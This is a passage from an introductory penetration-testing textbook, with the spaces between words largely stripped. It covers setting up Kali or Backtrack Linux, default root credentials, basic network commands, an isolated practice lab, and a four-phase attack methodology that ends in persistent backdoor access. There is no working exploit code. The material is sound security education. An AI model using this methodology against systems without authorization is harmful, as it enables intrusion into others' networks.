software, there are several Graphical User Interfaces (GUIs)available for interacting with APT. The most popular graphicalfront end is currently aptitude. Additional package managers areoutsidethescopeofthisbook.Onefinalnoteoninstallingsoftware,APTrequiresyoutoknow

theexactnameof thesoftwareyouwant to installbefore runningtheinstallcommand.Ifyouareunsureofthesoftwarenameorhowto spell it, you can use the apt-cache search command. Thishandy function will display any packages or tools which matchyoursearchandprovideabriefdescriptionofthetool.Usingapt-cache searchwill allowyou toquicklynarrowdown thenameofthepackageyouarelookingfor.Forexample,ifwewereunsureoftheofficialnameoftheParospackagefromourpreviousexample,wecouldhavefirstrun:

apt-cachesearchparos

Afterreviewingtheresultingnamesanddescriptions,wewouldthenproceedwiththeapt-getinstallcommand.

Please note, if you are usingKaliLinux,Paroswill alreadybe installed foryou!Evenso, theapt-get installcommandisstillapowerful toolforinstallingsoftware.

AbasicunderstandingofLinuxwillbebeneficialandwillpayyoumountainsof dividends in the long run. For the purpose of this book, there will be noassumption that you have priorLinux experience, but do yourself a favor andcommityourselftobecomingaLinuxgurusomeday.Takeaclass,readabook,or just explore on your own. Trust me, you will thank me later. If you areinterestedinpenetrationtestingorhacking,thereisnowayofgettingaroundtheneedtoknowLinux.Fortunately, the security community is a very active andverygivinggroup.

There are several organizations that have worked tirelessly to create varioussecurity-specific Linux distributions. A distribution, or “distro” for short, isbasicallyaflavor,type,orbrandofLinux.Amongthemostwellknownofthesepenetrationtestingdistributionsisone

called“Backtrack”.BacktrackLinuxisyourone-stopshopforlearninghackingandperformingpenetrationtesting.BacktrackLinuxremindsmeofascenefromthe firstMatrix movie where Tank asks Neo “What do you need besides amiracle?”Neorespondswith“Guns.LotsofGuns”.Atthispointinthemovie,rows and rows of guns slide into view. Every gun imaginable is available forNeoandTrinity:handguns, rifles,shotguns,semiautomatic,automatic,bigandsmall frompistols to explosives, an endless supply of differentweapons fromwhichtochoose.ThatisasimilarexperiencemostnewcomershavewhentheyfirstbootupBacktrackorKaliLinux.“Tools.LotsofTools”.Backtrack Linux and Kali Linux are a security tester’s dream come true.

These distributions are built from the ground up for penetration testers. Theycome preloadedwith hundreds of security tools that are installed, configured,andreadytobeused.Bestofall,KaliandBacktrackarefree!YoucangetyourcopyofBacktrackathttp://www.Backtrack-linux.org/downloads/.

ADDITIONALINFORMATIONIn the spring of 2013, the Offensive Security crew released aredefined, reenvisionedversionofBacktrack called “KaliLinux”.Like Backtrack, Kali Linux is freely available and comespreconfigured with loads of security auditing tools. Kali can bedownloadedfromwww.kali.org. Ifyouarenewto thepenetrationtestingandhackingworld, thedifferencesbetweenBacktrackandKali may seem a bit confusing. However, for understanding thebasics and working through the examples in this book, either

distributionwillwork.Inmanycases,KaliLinuxmaybeeasiertoutilize(thanBacktrack)becauseeachofthetoolsare“builtintothepath” meaning they can be run from anywhere. Simply, open aterminalandenterthetoolnamealongwiththedesiredswitches.IfyouareusingBacktrack,youoftenneedtonavigatetothespecificfolder before running a particular tool. If all this talk aboutnavigating,paths,switches,andterminalssoundsconfusing,donotworry.Wewillcovereverything in thecomingchapters.Fornowyousimplyneed todecidewhichversionyouwould like to learnwith.KaliorBacktrack.Remember,thereisnowrongchoice.

Navigating to the Backtrack (or Kali) link will allow you to choose fromeitheran.isooraVMwareimage.Ifyouchoosetodownloadthe.iso,youwillneed to burn the .iso to a DVD. If you are unsure of how to complete thisprocess,pleaseGoogle“burninganiso”.Onceyouhavecompletedtheburningprocess, youwill have a bootableDVD. Inmost cases, startingLinux from abootableDVDisassimpleasputtingtheDVDintothedriveandrestartingthemachine.Insomeinstances,youmayhavetochangethebootorderintheBIOSsothattheopticaldrivehasthehighestbootpriority.Ifyouchoose todownload theVMware image,youwill alsoneed software

capableofopeninganddeployingorrunningtheimage.Luckilyenough, thereare several good tools for accomplishing this task. Depending on yourpreference, you can use VMware’s VMware Player, Sun Microsystem’sVirtualBox,orMicrosoft’sVirtualPC.Inreality,ifyoudonotlikeanyofthoseoptions, there are many other software options capable of running a virtualmachine(VM)image.Yousimplyneedtochooseonethatyouarecomfortablewith.Eachofthethreevirtualizationoptionslistedaboveisavailablefreeofcharge

andwillprovideyouwiththeabilitytorunVMimages.Youwillneedtodecidewhich version is best for you. This book will rely heavily on the use of aBacktrackVMwareimageandVMwarePlayer.Atthetimeofwriting,VMwarePlayerwasavailableathttp://www.vmware.com/products/player/.Youmayneedtoregisterforanaccounttodownloadthesoftware,buttheregistrationprocessissimpleandfree.IfyouareunsureifyoushouldusealiveDVDorVM,itissuggestedthatyou

go theVMroute.Notonly is thisanothergood technology to learn,butusingVMs will allow you to set up an entire penetration testing lab on a singlemachine.Ifthatmachineisalaptop,youessentiallyhavea“travelling”PTlabsoyoucanpracticeyourskillsanytime,anywhere.If you choose to run Backtrack using the bootable DVD, shortly after the

systemstarts,youwillbepresentedwithamenulist.Youwillneedtoreviewthelistcarefullyasitcontainsseveraldifferentoptions.Thefirstcoupleofoptionsareusedtosetsomebasicinformationaboutyoursystem’sscreenresolution.Ifyou arehaving troublegettingBacktrack toboot, be sure to choose the “StartBacktrack inSafeGraphicalMode”.Themenucontains several otheroptions,but theseareoutside thescopeof thisbook.Toselect thedesiredbootoption,simplyusethearrowkeystohighlighttheappropriaterowandhittheenterkeyto confirm your selection. Figure 1.1 shows an example of both theKali andBacktrackbootscreens.

FIGURE1.1 AscreenshotshowingthebootoptionswhenusingtheliveDVD.

Kali Linux works in much the same way. You need to choose betweendownloading an ISO and burning it to DVD or downloading a preconfiguredVMware image. Regardless of which version you selected, you can simplyacceptthedefaultoption(byhittingtheEnterkey)whenpresentedwiththeKaliLinuxGRUBbootloaderbootmenu.TheuseofKaliorBacktrackisnotrequiredtoworkthroughthisbookorto

learn the basics of hacking. Any version of Linux will do fine. The majoradvantageofusingKaliorBacktrackisthatallthetoolsarepreloadedforyou.If you choose to use a different version ofLinux, youwill need to install thetoolsbefore reading thechapter. It is also important to remember thatbecausethis book focuses on the basics, it does not matter which version of Kali orBacktrackyouareusing.Allthetoolswewillexploreanduseinthisbookareavailableineveryversion.

WorkingwithYourAttackMachine:StartingtheEngineRegardlessofwhetheryouchoose to runKaliorBacktrackaseitheraVMorLiveDVD,oncetheinitialsystemisloadedyouwillbepresentedwithaloginprompt.Thedefaultusernameisrootandthedefaultpasswordistoor.Notice thedefaultpassword is simply“root” spelledbackward.Thisdefault

user name and password combination has been in use sinceBacktrack 1, andmost likely it will remain in use for future versions. At this point, if you arerunning Backtrack, you should be logged into the system and should bepresentedwith“root@bt:∼#”prompt.Althoughitispossibletorunmanyofthetoolswewilldiscussinthisbookdirectlyfromtheterminal,itisofteneasierfornewcomers tomake use of theXWindowSystem.You can start theGUI bytypingthefollowingcommandafterthe“root@bt:∼#”prompt:

startx

After typing this command and hitting the Enter key,Xwill begin to load.Thisenvironmentshouldseemvaguelyfamiliartomostcomputerusers.Onceithas completely loaded, youwill see a desktop, icons, a taskbar, and a systemtray.JustlikeMicrosoftWindows,youcaninteractwiththeseitemsbymovingyourmousecursorandclickingon thedesiredobject. IfyouareutilizingKaliLinux,after logging inwith thedefault root/toorusernameandpasswordyouwillbeautomaticallyloadedtotheGUI-basedGnomedesktopenvironment.Mostoftheprogramswewilluseinthisbookwillberunfromtheterminal.

Thereareseveralwaystostarttheterminal.InmostLinuxdistributions,youcanuse thekeyboard shortcut:Ctrl+Alt+T.Many systems also include an iconrepresentedbyablackboxwitha:>_ insideof it.This isoften located in thetaskbarormenuofthesystem.Figure1.2highlightstheterminalshortcutfortheGnomedesktop.

FIGURE1.2 Theicontolaunchaterminalwindow.

Unlike Microsoft Windows or many of the modern-day Linux OS’s, bydefault,someversionsofBacktrackdonotcomewithnetworkingenabled.Thissetupisbydesign.Asapenetrationtester,weoftentrytomaintainastealthyorundetectedpresence.Nothingscreams“LookatMe!!LookatMe!!I’mHere!!!”like a computer that starts up and instantly begins spewing network traffic bybroadcasting requests for a Dynamic Host Configuration Protocol (DHCP)server and Internet protocol (IP) address. To avoid this issue, the networkinginterfacesofyourBacktrackmachinemaybeturneddown(off)bydefault.Theeasiestwaytoenablenetworkingisthroughtheterminal.Openaterminal

windowbyclickingon the terminal iconasshowninFigure1.2or (ifyouareusing Backtrack) by using the keyboard shortcut Ctrl + Alt + T. Once theterminalopens,enterthefollowingcommand:

ifconfig–a

This commandwill list all theavailable interfaces foryourmachine.At theminimum, most machines will include an eth0 and a lo interface. The “lo”interface is your loopback interface. The “eth0” is your first Ethernet card.Depending on your hardware, youmay have additional interfaces or differentinterfacenumberslisted.IfyouarerunningBacktrackthroughaVM,yourmaininterfacewillusuallybeeth0.Toturnthenetworkcardon,youenterthefollowingcommandintoaterminal

window:ifconfigeth0up

Letusexaminethiscommandinmoredetail;“ifconfig”isaLinuxcommandthat means “I want to configure a network interface”. As we already know,“eth0”isthefirstnetworkdeviceonoursystem(remembercomputersoftenstartcountingat0not1),andthekeyword“up”isusedtoactivatetheinterface.Sowecanroughlytranslate thecommandyouenteredas“Iwant toconfigure thefirstinterfacetobeturnedon”.Nowthat the interface is turnedon,weneed togetanIPaddress.Thereare

twobasicways to complete this task.Our first option is to assign the address

manually by appending the desired IP address to the end of the previouscommand.Forexample,ifwewantedtoassignournetworkcard,anIPaddressof192.168.1.23,wewouldtype(assumingyourinterfaceis“eth0”):

ifconfigeth0up192.168.1.23

Atthispoint,themachinewillhaveanIPaddressbutwillstillneedagatewayandDomainNameSystem(DNS)server.AsimpleGooglesearchfor“settingupnetwork interface card (NIC) Linux” will show you how to enter thatinformation.Youcanalwayschecktoseeifyourcommandsworkedbyissuingthefollowingcommandintoaterminalwindow:

ifconfig–a

Running this will allow you to see the current settings for your networkinterfaces.Becausethisisabeginner’sguideandforthesakeofsimplicity,wewillassumethatstealthisnotaconcernatthemoment.Inthatcase,theeasiestwaytogetanaddressistouseDHCP.ToassignanaddressthroughDHCP,yousimplyissuethecommand:

dhclient

Pleasenote,dhclientwillattempttoautomaticallyassignanIPaddresstoyourNIC and configure all required settings including DNS and Gatewayinformation.IfyouarerunningKaliorBacktrackLinuxfromVMwarePlayer,theVMwaresoftwarewillactastheDHCPserver.Regardless ofwhether you usedDHCP or statically assigned an address to

yourmachine, yourmachine should nowhave an IP address. If you are usingKaliLinux,yournetworkingshouldbepreconfigured.However,ifyouhaveanyissuestheprecedingsectionwillbehelpful.ThelastthingtoaddressishowtoturnoffBacktrackorKali.AswithmostthingsinLinux,therearemultiplewaysto accomplish this task. One of the easiest ways is to enter the followingcommandintoaterminalwindow:

poweroff

ALERT!It is always a good idea to poweroff or reboot your attackingmachinewhenyouaredone runningapen test.Youcanalso runthe command “shutdown” or “shutdown now” command topoweroff your machine. This good habit prevents you fromaccidently leaving a tool running or inadvertently sending trafficfromyournetworkwhileyouareawayfromyourmachine.

Youcanalsosubstitutethepoweroffcommandwiththerebootcommand ifyouwouldprefertorestartthesystemratherthanshutitdown.Beforeproceeding,youshouldtakeseveralminutestoreviewandpracticeall

thestepsdiscussedthusfarincludingthefollowing:Poweron/StartupBacktrackorKaliLoginwiththedefaultusernameandpasswordStartX(theWindowsGUI)ifyouareusingBacktrackViewallthenetworkinterfacesonyourmachineTurnup(on)thedesirednetworkinterfaceAssignanIPaddressmanuallyViewthemanuallyassignedIPaddressAssignanIPaddressthroughDHCPViewthedynamicallyassignedaddressRebootthemachineusingthecommandlineinterfacePoweroffthemachineusingthecommandlineinterface.

TheUseandCreationofaHackingLabEveryethicalhackermusthaveaplacetopracticeandexplore.Mostnewcomersareconfusedabouthowtheycanlearntousehackingtoolswithoutbreakingthelaworattackingunauthorizedtargets.Thisismostoftenaccomplishedthroughthe creation of a personal “hacking lab”. A hacking lab is a sandboxedenvironment where your traffic and attacks have no chance of escaping orreachingunauthorizedandunintendedtargets.Inthisenvironment,youarefreetoexploreall thevarioustoolsandtechniqueswithoutfearthatsometrafficorattackwillescapeyournetwork.Attheminimum,thelabissetuptocontainatleasttwomachines:oneattackerandonevictim.Inotherconfigurations,severalvictim machines can be deployed simultaneously to simulate a more realisticnetwork.The proper use and setup of a hacking lab is vital because one of themost

effective means to learn something is by doing that thing. Learning andmasteringthebasicsofpenetrationtestingisnodifferent.Thesingle,mostcrucialpointofanyhackerlabistheisolationofthenetwork.

Youmust configure your lab network in such a way that it is impossible fortraffictoescapeortraveloutsideofthenetwork.Mistakeshappenandeventhemost careful people can fat-finger or mistype an IP address. It is a simplemistake tomistype a single digit in an IP address, but that mistake can have

drastic consequences for you andyour future. Itwouldbe a shame (andmoreimportantlyillegal)foryoutorunaseriesofscansandattacksagainstwhatyouthoughtwasyourhackerlabtargetwithanIPaddressof172.16.1.1onlytofindoutlaterthatyouactuallyenteredtheIPaddressas72.16.1.1.The simplest and most effective way to create a sandboxed or isolated

environment is to physically unplug or disconnect your network from theInternet. If you are using physical machines, it is best to rely on hardwiredEthernetcablesandswitchestoroutetraffic.Alsobesuretodouble-andtriple-check that all yourwirelessNICsare turnedoff.Alwayscarefully inspect andreviewyournetworkforpotentialleaksbeforecontinuing.Althoughtheuseofphysicalmachinestocreateahackinglabisanacceptable

solution, the use of VMs provides several key benefits. First, given today’sprocessingpower,itiseasytosetupandcreateaminihackinglabonasinglemachineorlaptop.Inmostcases,anaveragemachinecanruntwoorthreeVMssimultaneouslybecauseourtargetscanbesetupusingminimalresources.Evenrunningonalaptop,itispossibletoruntwoVMsatthesametime.Theaddedbenefitofusingalaptopisthefactthatyourlabisportable.Withthecheapcostof external storage today, it is easily possible to pack hundreds of VMs on asingleexternalharddrive.Thesecanbeeasilytransportedandsetupinamatterofminutes.Anytimeyouare interested inpracticingyour skillsorexploringanew tool, simply open upKali Linux, Backtrack, or your attackmachine anddeployaVMasatarget.Settingupalablikethisgivesyoutheabilitytoquicklyplug-and-playwithvariousOSsandconfigurations.AnotherbenefitofusingVMsinyourpentestinglabisthefactthatitisvery

simple to sandbox your entire system. Simply turn off the wireless card andunplug the cable from the Internet. As long as you assigned addresses to thenetwork cards likewe covered in the previous section, your physicalmachineand VMs will still be able to communicate with each other and you can becertainthatnoattacktrafficwillleaveyourphysicalmachine.Ingeneral,penetrationtestingisadestructiveprocess.Manyofthetoolsand

exploitswe runcancausedamageor takesystemsoffline. Insomecases, it iseasier to reinstall the OS or program rather than attempt to repair it. This isanother area where VMs shine. Rather than having to physically reinstall aprogramlikeSQLserverorevenanentireOS,theVMcanbequicklyresetorrestoredtoitsoriginalconfiguration.Inordertofollowalongwitheachoftheexamplesinthisbookyouwillneed

accesstothethreeVMs:

KaliorBacktrackLinux:thescreenshots,examples,andpathsinthisbookaretakenfromKaliLinuxbutBacktrack5(andanypreviousedition)willworkaswell.IfyouareusingBacktrack5,youwillneedtolocatetheproperpathforthetoolbeingdiscussed.WithBacktrackmosttoolscanbelocatedbynavigatingtheApplications→Backtrackmenuonthedesktoporbyusingtheterminalandmovingintothe/pentestdirectory.RegardlessofwhetheryouchooseBacktrackorKali,thisVMwillserveasyourattackermachineforeachexercise.

Metasploitable:MetasploitableisaLinuxVMwhichwascreatedinanintentionallyinsecuremanner.MetasploitableisavailableforfreefromSourceForgeathttp://sourceforge.net/projects/metasploitable/.Metasploitablewillserveasoneofourtargetswhenwecoverexploitation.

WindowsXP:whilemostoftheexercisesinthisbookwillrunagainstMetasploitable,WindowsXP(preferablywithnoservicepacksinstalled)willalsobeusedasatargetthroughoutthebook.Withitswidedeploymentbaseandpastpopularity,mostpeoplehavelittletroublegettingavalidcopyofWindowsXP.AdefaultinstallationofWindowsXPmakesanexcellenttargetforlearninghackingandpenetrationtestingtechniques.For the duration of this book, each of the systems listed above will be

deployedasaVMonasinglelaptop.Networkingwillbeconfiguredsothatallmachines belong to the same subnet and are capable of communicating witheachother.

ALERT!EvenifyoucannotgetyourhandsonaWindowsXPVM,youcanstill follow along with many of the examples in this book byutilizingMetasploitable.AnotheroptionistosimplymakeasecondcopyofBacktrack (orKali). Ifyouuse twocopiesofyourattackmachine,onecanserveastheattackerandoneasthetarget.

PhasesofaPenetrationTestLikemostthings,theoverallprocessofpenetrationtestingcanbebrokendowninto a series of steps or phases. When put together, these steps form a

comprehensivemethodologyforcompletingapenetrationtest.Carefulreviewofunclassifiedincidentresponsereportsorbreechdisclosuressupportstheideathatmostblackhathackersalsofollowaprocesswhenattackingatarget.Theuseofan organized approach is important because it not only keeps the penetrationtester focused andmoving forward, but also allows the results or output fromeachsteptobeusedintheensuingsteps.Theuseofamethodologyallowsyoutobreakdownacomplexprocessintoa

series of smaller, more manageable tasks. Understanding and following amethodologyisanimportantstepinmasteringthebasicsofhacking.Dependingon the literature or class you are taking, this methodology usually containsbetweenfourandsevenstepsorphases.Althoughtheoverallnamesornumberofstepscanvarybetweenmethodologies,theimportantthingisthattheprocessprovides a completeoverviewof thepenetration testingprocess.For example,somemethodologiesusetheterm“InformationGathering”,whereasotherscallthe same process “Reconnaissance” or “Recon” or even “OSINT”. For thepurposeofthisbook,wewillfocusontheactivitiesofthephaseratherthanthename. After you have mastered the basics, you can review the variouspenetrationtestingmethodologiesandchooseonethatyoulikebest.Tokeep things simple,wewill use a four-step process to explore and learn

penetration testing. If you search around and examine other methodologies(which is important to do), youmay find processes that includemore or lesssteps thanweareusingaswellasdifferentnamesforeachof thephases. It isimportanttounderstandthatalthoughthespecificterminologymaydiffer,mostsolidpenetrationtestingmethodologiescoverthesametopics.There is one exception to this rule: the final step in many hacking

methodologiesisaphasecalled“hiding”,“coveringyourtracks”,or“removingevidence”.Becausethisbookfocusesonunderstandingthebasics,itwillnotbeincludedinthismethodology.Onceyouhaveasolidunderstandingofthebasics,youcangoontoexploreandlearnmoreaboutthisphase.The remainderof thisbookwill bededicated to reviewingand teaching the

followingsteps:Reconnaissance,Scanning,Exploitation,andPostExploitation(or Maintaining Access). Sometimes, it helps to visualize these steps as aninvertedtriangle.Figure1.3demonstrates thisapproach.Thereasonweuseaninverted triangle isbecause theoutcomeof initialphases isverybroad.Aswemovedownintoeachphase,wecontinuetodrilldowntoveryspecificdetails.

FIGURE1.3 Zeroentryhackingpenetrationtestingmethodology.

The inverted triangleworkswell because it represents our journey from thebroad to the specific. For example, as we work through the reconnaissancephase,itisimportanttocastournetsaswideaspossible.Everydetailandeverypiece of information about our target is collected and stored. The penetrationtestingworld is fullofmanygreatexampleswhenaseemingly trivialpieceofinformationwascollectedintheinitialphase;andlaterturnedouttobeacrucialcomponent for successfully completing an exploit and gaining access to thesystem.Inlaterphases,webegintodrilldownandfocusonmorespecificdetailsofthetarget.Whereisthetargetlocated?WhatistheIPaddress?WhatOSisthetarget running? What services and versions of software are running on thesystem? As you can see, each of these questions becomes increasingly moredetailed and granular. It is important to note that asking and answering thesequestionsinaparticularorderisimportant.

ADDITIONALINFORMATIONAsyourskillsprogressbeyondthebasicsyoushouldbegintoweanyourself off the use of “vulnerability scanners” in your attackmethodology. When you are starting off, it is important tounderstandtheproperuseofvulnerabilityscannersastheycanhelpyouconnectthedotsandunderstandwhatvulnerabilitieslooklike.However,asyoubecomeexperienced,vulnerability scannersmaybecomeacrutchtothe“hackermentality”youaretryingtohone.Continuous and exclusive reliance on this class of tool mayeventuallyhindergrowthandunderstandingofhowvulnerabilitiesworkandhowtoidentifythem.MostadvancedpenetrationtestersI

know rarely use vulnerability scanners unless they have no otheroptions.However, because this book covers the basics,wewill discuss

vulnerability scanners and their proper use in the Zero EntryHackingmethodology.

It isalso important tounderstandtheorderofeachstep.Theorder inwhichweconductthestepsisveryimportantbecausetheresultoroutputofonestepoftenneeds tobeused in thestepbelowit.Youneed tounderstandmore thanjusthowtosimplyrunthesecuritytoolsinthisbook.Understandingthepropersequence in which they are run is vital to performing a comprehensive andrealisticpenetrationtest.Forexample,manynewcomersskiptheReconnaissancephaseandgostraight

to exploiting their target.Not completing steps 1 and 2will leave youwith asignificantlysmallertargetlistandattackvectoroneachtarget.Inotherwords,youbecomeaone-trick-pony.Althoughknowinghowtouseasingletoolmightbeimpressivetoyourfriendsandfamily,itisnottothesecuritycommunityandprofessionalswhotaketheirjobseriously.Itmayalsobehelpfulfornewcomerstothinkofthestepswewillcoverasa

circle. It isveryrare tofindcriticalsystemsexposeddirectly to theInternet intoday’s world. Inmany cases, penetration testersmust access and penetrate aseries of related targets before they can directly attack the original target. Inthese cases, each of the steps is often repeated. The process of compromisingone machine and then using that machine to compromise another machine iscalledpivoting.Penetrationtestersoftenneedtopivotthroughseveralcomputersor networks before reaching their final target. Figure 1.4 introduces themethodologyasacyclicprocess.

FIGURE1.4 CyclicalrepresentationoftheZEHmethodology;zeroentryhacking:afour-stepmodel.

Letusbrieflyrevieweachofthefourstepsthatwillbecoveredsoyouhaveasolid understanding of them. The first step in any penetration test is“reconnaissance”.Thisphasedealswithinformationgatheringaboutthetarget.Aswasmentionedpreviously, themoreinformationyoucollectonyourtarget,the more likely you are to succeed in later steps. Reconnaissance will bediscussedindetailinChapter2.Regardless of the information you had to begin with, after completing in-

depth reconnaissanceyou shouldhave a list of target IP addresses that canbescanned.Thesecondstepinourmethodologycanbebrokenoutintotwodistinctactivities.Thefirstactivityweconductisportscanning.Oncewehavefinishedwith port scanning, we will have a list of open ports and potential servicerunning on each of the targets. The second activity in the scanning phase isvulnerability scanning. Vulnerability scanning is the process of locating andidentifyingspecificweaknessesinthesoftwareandservicesofourtargets.Withtheresultsfromstep2inhand,wecontinuetothe“exploitation”phase.

Onceweknowexactlywhatportsareopen,whatservicesarerunningonthoseports,andwhatvulnerabilitiesareassociatedwiththoseservices,wecanbeginto attack our target. It is this phase and its tools which provide push-button-mass-exploitation that most newcomers associate with “real” hacking.Exploitation can involve lots of different techniques, tools, and code.Wewillreview a few of the most common tools in Chapter 4. The ultimate goal ofexploitation is tohave administrative access (complete control) over the targetmachine.

ALERT!Exploitation can occur locally or remotely. Local exploitationrequirestheattackertohavephysicalaccesstothecomputerwhileremoteexploitationoccursthroughnetworksandsystemswhentheattacker cannot physically touch the target. This book will coverboth localandremoteattacks.Regardlessofwhether theattack islocal or remote, full administrative access usually remains thedefinitivegoal.Administrativeaccessallowsahackertofullyandcompletely control the target machine. New programs can beinstalled, defensive tools can be disabled, confidential documentscanbecopied,edited,ordeleted,securitysettingscanbechangedandmuchmore.

The final phase we will examine is “post exploitation and maintainingaccess”.Oftentimes,thepayloadsdeliveredintheexploitationphaseprovideuswith only temporary access to the system. Because most payloads are notpersistent,weneed toquicklymove intopost exploitation inorder to create amorepermanentbackdoortothesystem.Thisprocessallowsouradministrativeaccess tosurviveprogramclosuresandevenreboots.Asanethicalhacker,wemust be very careful about the use and implementationof this phase.Wewilldiscuss how to complete this step aswell as the ethical implications of usingbackdoororremotecontrolsoftware.Althoughnotincludedasaformalstepinthepenetrationtestingmethodology,

the final (and arguably themost important) activity of every PT is the report.Regardless of the amount of time and planning you put into conducting thepenetration test, theclientwilloften judgeyourworkandeffectivenesson thebasis of the quality of your report. The final PT report should include all therelevant information uncovered in your test and explain in detail how the testwas conducted and what was done during the test. Whenever possible,mitigations and solutions should be presented for the security issues youuncovered. Finally, an executive summary should be included in every PTreport. The purpose of this summary is to provide a simple one-to two-page,nontechnicaloverviewofyourfindings.Thisreportshouldhighlightandbrieflysummarizethemostcriticalissuesyourtestuncovered.Itisvitalthatthisreport

bereadable(andcomprehendible)bybothtechnicalandnontechnicalpersonnel.Itisimportantnottofilltheexecutivesummarywithtoomanytechnicaldetails;thatisthepurposeofthedetailedreport.

ADDITIONALINFORMATIONThePenetrationTestingExecutionStandard (PTES) is a fantasticresource if you are looking to find amore in-depth and thoroughmethodology.ThePTES includesboth technicalguidelineswhichcanbeusedbysecurityprofessionalsaswellasa frameworkandcommon language that can be leveraged by the businesscommunity.Youcanfindmoreinformationathttp://www.pentest-standard.org.

WhereDoIGofromHere?ItshouldbenotedthatthereareseveralalternativestoKaliorBacktrack.Alltheexamples in this book should work with each of the security auditingdistributions discussed below. Blackbuntu is an Ubuntu-based security distrowith a very friendly community, great support, and activedevelopment.Blackbox is another great penetration testing distribution based on Ubuntu andincludes a sleek, lightweight interface and many preinstalled security tools.Matriux is similar toBacktrack but also includes aWindows binary directorythat can be used and accessed directly from a Windows machine. FedoraSecurity Spin is a collection of security-related tools built off of the Fedoradistribution.KatanaisamultibootDVDthatgathersanumberofdifferenttoolsand distributions into a single location. Finally, youmay want to explore theclassicSTDdistributionaswellasPentoo,NodeZero,andSamuraiWTF.TherearemanyotherLinuxpenetrationtestingdistributions—asimpleGooglesearchfor“LinuxPenetrationTestingDistributions”willprovideyouwithaplethoraofoptions.You could also spend some time building and customizing your ownLinux distribution by collecting and installing tools as your hacking careerprogresses.

SummaryThis chapter introduced the concept of penetration testing and hacking as ameans of securing systems. A special “basics only”, four-step methodologyincluding Reconnaissance, Scanning, Exploitation, and Post Exploitation andMaintainingAccesswaspresented.Thischapteralsodiscussedthevariousrolesand characters involved in the hacking scene. The basics ofBacktrack Linux,including how to boot up, login, start X, access the terminal, obtain an IPaddress, and shutdown the system, were covered. Kali Linux, a reenvisionedversionofBacktrackwasalsointroduced.Thecreationanduseofapenetrationtesting lab was outlined. The specific requirements, allowing you to practiceyour skills in a safe and sandboxed environment and follow along with theexamples in the book,were presented. This chapterwrapped up by providingadditional details on alternatives to Kali or Backtrack Linux which could beexploredbythereader.

CHAPTER2

Reconnaissance

InformationinThisChapter:

HTTrack:WebsiteCopierGoogleDirectives:PracticingYourGoogle-FuTheHarvester:DiscoveringandLeveragingE-mailAddressesWhoisNetcraftHostFierceandOtherToolstoExtractInformationfromDNSExtractingInformationFromE-mailServersMetaGooFilThreatAgent:AttackoftheDronesSocialEngineeringSiftingthroughtheInteltoFindingAttackableTargets

Introduction

Inmost cases, people who attend hacking workshops or classes have a basicunderstandingofafewsecuritytools.Typically,thesestudentshaveusedaportscanner to examine a system ormaybe they have usedWireshark to examinenetwork traffic. Some have even played around with exploit tools likeMetasploit.Unfortunately,mostbeginnersdonotunderstandhowthesetoolsfitinto the grand scheme of a penetration test. As a result, their knowledge isincomplete. Following amethodology ensures that you have a plan and knowwhattodonext.To stress the importance of using and following a methodology, it is often

beneficial todescribeascenario thathelpsdemonstrateboth the importanceofthisstepandthevalueoffollowingacompletemethodologywhenconductingapenetrationtest.Assumeyouareanethicalpenetrationtesterworkingforasecuritycompany.

Yourbosswalksovertoyourofficeandhandsyouapieceofpaper.“Ijustgotoff thephonewith theCEOof that company.Shewantsmybest employee toPenTesthercompany—that’syou.OurLegalDepartmentwillbesendingyouan e-mail confirmingwe have all of the proper authorizations and insurance.”Younod,acceptingthejob.Heleaves.Youflipoverthepaper,asinglewordiswritten on the paper, “Syngress”. It is a company you have never heard ofbefore,andnootherinformationiswrittenonthepaper.Whatnow?Thefirststepineveryjobisresearch.Themorethoroughlyyoupreparefora

task, themore likelyyouare tosucceed.TheguyswhocreatedBacktrackandKaliLinuxarefondofquotingAbrahamLincolnwhosaid,“IfIhad6htochopdown a tree, I’d spend the first four of them sharpening my axe.” This is aperfectintroductiontobothpenetrationtestingandthereconnaissancephase.Reconnaissance, also known as information gathering, is arguably themost

important of the four phases we will discuss. The more time you spendcollectinginformationonyourtarget,themorelikelyyouaretobesuccessfulinthe later phases. Ironically, recon is also one of the most overlooked,underutilized, and misunderstood steps in penetration testing (PT)methodologiestoday.It is possible that this phase is overlooked because newcomers are never

formally introduced to the concept, its rewards, or how the results of goodinformationgatheringcanbevitalinlatersteps.Itisalsopossiblethatthisphaseis overlooked because it is the least “technical” and often the least exciting.Oftentimes,peoplewhoarenewtohackingtendtoviewthisphaseasboringand

unchallenging.Nothingcouldbefurtherfromthetruth.Althoughit is truethat thereareveryfewgood,automatedtools thatcanbe

usedtocompleterecon,onceyouunderstandthebasicsitislikeanentirelynewwayof lookingat theworld.Agood informationgatherer ismadeupofequalparts: hacker, social engineer, and private investigator. The absence of well-definedrulesofengagementalsodistinguishesthisphasefromallothers.Thisisinstarkcontrasttotheremainingstepsinourmethodology.Forexample,whenwediscussscanninginChapter3,thereisaspecificorderandaclearseriesofstepsthatneedtobefollowedinordertoproperlyportscanatarget.Learninghowtoconductdigitalreconnaissanceisavaluableskillforanyone

livingintoday’sworld.Forpenetrationtestersandhackers,itisinvaluable.Thepenetrationtestingworldisfilledwithgreatexamplesandstoriesofhowgoodrecon single-handedly allowed the tester to fully compromise a network orsystem.Considerthefollowingexample:assumewehavetwodifferentcriminalswho

areplanningtorobabank.Thefirstcriminalbuysagunandrunsintothefirstbankhefindsyelling“HandsUp!GiveMeAllYourMoney!”It isnothardtoimaginethatthescenewouldbecompletechaosandevenifthebunglingburglarmanagedtogetaway,itprobablywouldnottakelongforthepolicetofindhim,arrest him, and send him to prison. Contrast this to nearly every Hollywoodmovie in existence today, where criminals spend months planning, scheming,organizing, and reviewing details before the heist. They spend time gettingweaponsanonymously,planningescaperoutes,andreviewingschematicsofthebuilding.Theyvisit thebanktodeterminethepositionofthesecuritycameras,makenoteoftheguards,anddeterminewhenthebankhasthemostmoneyoristhemostvulnerable.Clearly,thesecondcriminalhasthebetterchanceofgettingawaywiththemoney.It should be obvious that the difference between these two examples is

preparationandhomework.Hackingandpenetrationtestingarethesame—youcannot just get an Internet protocol (IP) address and start runningMetasploit(wellyoucan,butyouareprobablynotgoingtobeveryeffective).Recall the example used to begin this chapter. You had been assigned to

completeapenetrationtestbutweregivenverylittleinformationtogoon.Asamatteroffact,youweregivenonlythecompanyname,oneword.Themillion-dollar question for every aspiring hacker is, “How do I go from a singlecompanynametoowningthesystemsinsidethenetwork?”Whenwebegin,weknow virtually nothing about the organization;we do not know theirwebsite,

physical address, or number of employees. We do not know their public IPaddresses or internal IP schemes; we know nothing about the technologydeployed,operatingsystems(OSs)used,ordefensesinplace.Step1beginsby conducting a thorough searchof public information; some

